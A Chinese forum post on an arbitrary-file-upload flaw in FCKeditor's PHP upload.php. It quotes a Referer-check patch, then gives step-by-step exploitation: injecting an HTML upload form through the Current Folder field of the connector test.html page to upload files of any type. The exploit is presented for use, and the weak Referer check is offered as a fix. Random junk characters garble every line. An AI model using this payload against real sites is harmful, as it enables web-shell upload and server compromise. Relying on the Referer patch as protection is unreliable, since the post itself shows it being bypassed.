漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
. u: _1 |; C1 H, b" H& D网上给出的修复方案是
. \4 c$ ~' C% i$ K" V修复方法,删除FCK编辑器用其他的编辑器4 P; G% X( ~9 V6 O \
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件$ r) K& k1 q0 g$ V
在# V5 ~$ B- r% g/ m( u
require(‘config.php’);! p$ @) N; K1 |
require(‘util.php’);
- [* A4 W; E4 G' V0 Z的下面添加以下代码—————————–
/ {2 `" u0 k1 @//防止外部提交
2 L B0 H/ O5 E) {! e4 k( Dfunction outsidepost()- p A9 f& h4 e+ |+ g0 X/ B' w
{* A& A( k2 I+ e9 ~4 N$ \* P
$servername=$_SERVER['SERVER_NAME'];
" j) X5 u3 ^* Q* o9 |$sub_from=@$_SERVER['HTTP_REFERER'];
: T1 p" ~1 m- B$sub_len=strlen($servername);
4 Q2 R a# l) I1 F$checkfrom=substr($sub_from,7,$sub_len);$ g6 ~( B4 B# |. t0 t" e
if($checkfrom!=$servername){) d% ^( g0 S. g ]( X" Q3 y
echo(“you don’t outsidepost!”);1 d0 j- ?( k A/ F
exit;/ v. e: {6 p. S0 ^4 s
}$ n/ w4 F+ W- B% \% c @, }( u; S
}
2 O& N8 S: ~. ?% C' Qoutsidepost();. p! n, O6 V" z% ?$ a+ u4 A
防止外部提交,但是没有防止内部提交,3 L$ }. [1 o/ d/ F. e8 S' D u
利用方法:
: g6 ^% M1 \7 f8 Y- k+ `1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html* o! E+ c+ r- ~: Y6 l
2,在Current Folder 框输入0 ?( |3 d2 T6 i9 H) {! m
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
. ]' O" i8 J: e: j* |# O" r) J然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。/ G% j- k. N+ e& G9 v
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |